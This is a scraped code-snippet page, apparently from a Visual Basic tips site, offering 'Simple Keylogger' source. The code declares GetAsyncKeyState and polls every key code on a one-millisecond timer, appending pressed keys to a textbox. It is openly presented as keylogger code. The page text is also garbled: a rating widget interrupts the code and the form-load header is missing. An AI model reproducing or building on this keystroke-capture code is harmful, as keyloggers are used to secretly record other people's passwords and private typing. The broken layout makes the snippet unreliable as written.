• Home
 · 
• Miscellaneous
 · 
• Simple Keylogger

Simple Keylogger

Simple Keylogger

API Declarations


'Add a Timer & a Textbox to the form
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer



Rate Simple Keylogger

• 1
• 2
• 3
• 4
• 5

(1(1 Vote))

Timer1.Interval = 1
End Sub

Private Sub Timer1_Timer()

For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)

If result = -32767 Then
Text1.Text = Text1.Text + Chr(i)
End If
Next i
End Sub